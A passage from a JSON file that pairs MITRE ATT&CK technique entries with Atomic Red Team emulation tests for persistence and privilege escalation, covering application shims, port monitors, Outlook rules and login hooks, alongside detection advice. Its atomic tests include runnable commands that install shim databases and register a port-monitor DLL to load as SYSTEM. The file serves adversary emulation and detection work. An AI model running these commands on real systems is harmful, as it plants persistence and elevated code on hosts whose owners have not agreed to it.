- "steps": "1. Navigate to [about:debugging](about:debugging) and\nclick \"Load Temporary Add-on\"\n\n2. Navigate to [manifest.json](./src/manifest.json)\n\n3. Then click 'Open'\n",
- "name": "manual"
- }
- },
- {
- "name": "Edge Chromium Addon - VPN",
- "auto_generated_guid": "3d456e2b-a7db-4af8-b5b3-720e7c4d9da5",
- "description": "Adversaries may use VPN extensions in an attempt to hide traffic sent from a compromised host. This will install one (of many) available VPNS in the Edge add-on store.\n",
- "supported_platforms": [
- "windows",
- "macos"
- ],
- "executor": {
- "steps": "1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj\nin Edge Chromium\n\n2. Click 'Get'\n",
- "name": "manual"
- }
- }
- ]
- },
- "T1058": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:49.119Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1058",
- "url": "https://attack.mitre.org/techniques/T1058"
- },
- {
- "external_id": "CAPEC-478",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/478.html"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
- "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
- "source_name": "MSDN Registry Key Security"
- },
- {
- "source_name": "TrustedSignal Service Failure",
- "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
- "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
- },
- {
- "url": "https://twitter.com/r0wdy_/status/936365549553991680",
- "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
- "source_name": "Twitter Service Recovery Nov 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-03-19T15:12:13.034Z",
- "name": "Service Registry Permissions Weakness",
- "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services
. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand
) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to modify service values in the Registry"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1137.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
- "type": "attack-pattern",
- "created": "2019-11-07T20:00:25.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137.005",
- "url": "https://attack.mitre.org/techniques/T1137/005"
- },
- {
- "source_name": "SilentBreak Outlook Rules",
- "url": "https://silentbreaksecurity.com/malicious-outlook-rules/",
- "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019."
- },
- {
- "source_name": "Microsoft Detect Outlook Forms",
- "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
- "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
- },
- {
- "source_name": "Pfammatter - Hidden Inbox Rules",
- "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/",
- "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021."
- },
- {
- "source_name": "SensePost NotRuler",
- "url": "https://github.com/sensepost/notruler",
- "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
- }
- ],
- "modified": "2021-10-15T20:18:30.700Z",
- "name": "Outlook Rules",
- "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1546.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
- "type": "attack-pattern",
- "created": "2020-01-24T14:56:24.231Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.011",
- "url": "https://attack.mitre.org/techniques/T1546/011"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "FireEye Application Shimming",
- "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf",
- "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020."
- },
- {
- "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
- "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
- "source_name": "Black Hat 2015 App Shim"
- }
- ],
- "modified": "2020-11-10T18:29:31.094Z",
- "name": "Event Triggered Execution: Application Shimming",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb
and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb
\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom
and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom
\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "File: File Modification",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1546.011"
- },
- "atomic_tests": [
- {
- "name": "Application Shim Installation",
- "auto_generated_guid": "9ab27e22-ee62-4211-962b-d36d9a0e6a18",
- "description": "Install a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "Path to the shim database file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Shim database file must exist on disk at specified location (#{file_path})\n",
- "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"#{file_path}\"\n"
- },
- {
- "description": "AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n",
- "prereq_command": "if (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n"
- }
- ],
- "executor": {
- "command": "sdbinst.exe #{file_path}\n",
- "cleanup_command": "sdbinst.exe -u #{file_path} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "New shim database files created in the default shim database directory",
- "auto_generated_guid": "aefd6866-d753-431f-a7a4-215ca7e3f13d",
- "description": "Upon execution, check the \"C:\\Windows\\apppatch\\Custom\\\" folder for the new shim database\n\nhttps://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n",
- "cleanup_command": "Remove-Item C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\nRemove-Item C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Registry key creation and/or modification events for SDB",
- "auto_generated_guid": "9b6a06f9-ab5e-4e8d-8289-1df4289db02f",
- "description": "Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing\nthe registry keys that were created. These keys can also be viewed using the Registry Editor.\n\nhttps://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\nNew-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\n",
- "cleanup_command": "Remove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1547.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
- "created": "2020-01-24T19:46:27.750Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.010",
- "url": "https://attack.mitre.org/techniques/T1547/010"
- },
- {
- "source_name": "Bloxham",
- "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
- "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014."
- },
- {
- "source_name": "AddMonitor",
- "url": "http://msdn.microsoft.com/en-us/library/dd183341",
- "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor
API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32
and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
- "modified": "2022-04-20T16:36:31.835Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Port Monitors",
- "x_mitre_detection": "Monitor process API calls to AddMonitor
.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Process: OS API Execution",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.010"
- },
- "atomic_tests": [
- {
- "name": "Add Port Monitor persistence in Registry",
- "auto_generated_guid": "d34ef297-f178-4462-871e-9ce618d44e50",
- "description": "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "monitor_dll": {
- "description": "Addition to port monitor registry key. Normally refers to a DLL name in C:\\Windows\\System32 but an arbitrary DLL can be specified with the absolute path.",
- "type": "path",
- "default": "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll"
- }
- },
- "executor": {
- "command": "reg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"#{monitor_dll}\" /t REG_SZ\n",
- "cleanup_command": "reg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1037.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
- "created": "2020-01-10T16:01:15.995Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.002",
- "url": "https://attack.mitre.org/techniques/T1037/002"
- },
- {
- "source_name": "Login Scripts Apple Dev",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html",
- "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022."
- },
- {
- "source_name": "LoginWindowScripts Apple Dev",
- "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts",
- "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022."
- },
- {
- "source_name": "Wardle Persistence Chapter",
- "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf",
- "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."
- },
- {
- "source_name": "S1 macOs Persistence",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist
file and can be modified using the defaults
command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist
file, using the LoginHook
or LogoutHook
key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
- "modified": "2022-04-20T16:42:05.094Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Initialization Scripts: Logon Script (Mac)",
- "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1037.002"
- },
- "atomic_tests": []
- },
- "T1205": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lee",
- "Josh Day, Gigamon"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1205",
- "url": "https://attack.mitre.org/techniques/T1205"
- },
- {
- "source_name": "Bleeping Computer - Ryuk WoL",
- "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
- "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
- },
- {
- "source_name": "AMD Magic Packet",
- "url": "https://www.amd.com/system/files/TechDocs/20213.pdf",
- "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021."
- },
- {
- "source_name": "Mandiant - Synful Knock",
- "url": "https://www.mandiant.com/resources/synful-knock-acis",
- "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Hartrell cd00r 2002",
- "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
- "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "GitLab WakeOnLAN",
- "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN",
- "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
- "modified": "2022-04-19T19:52:50.774Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Traffic Signaling",
- "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF
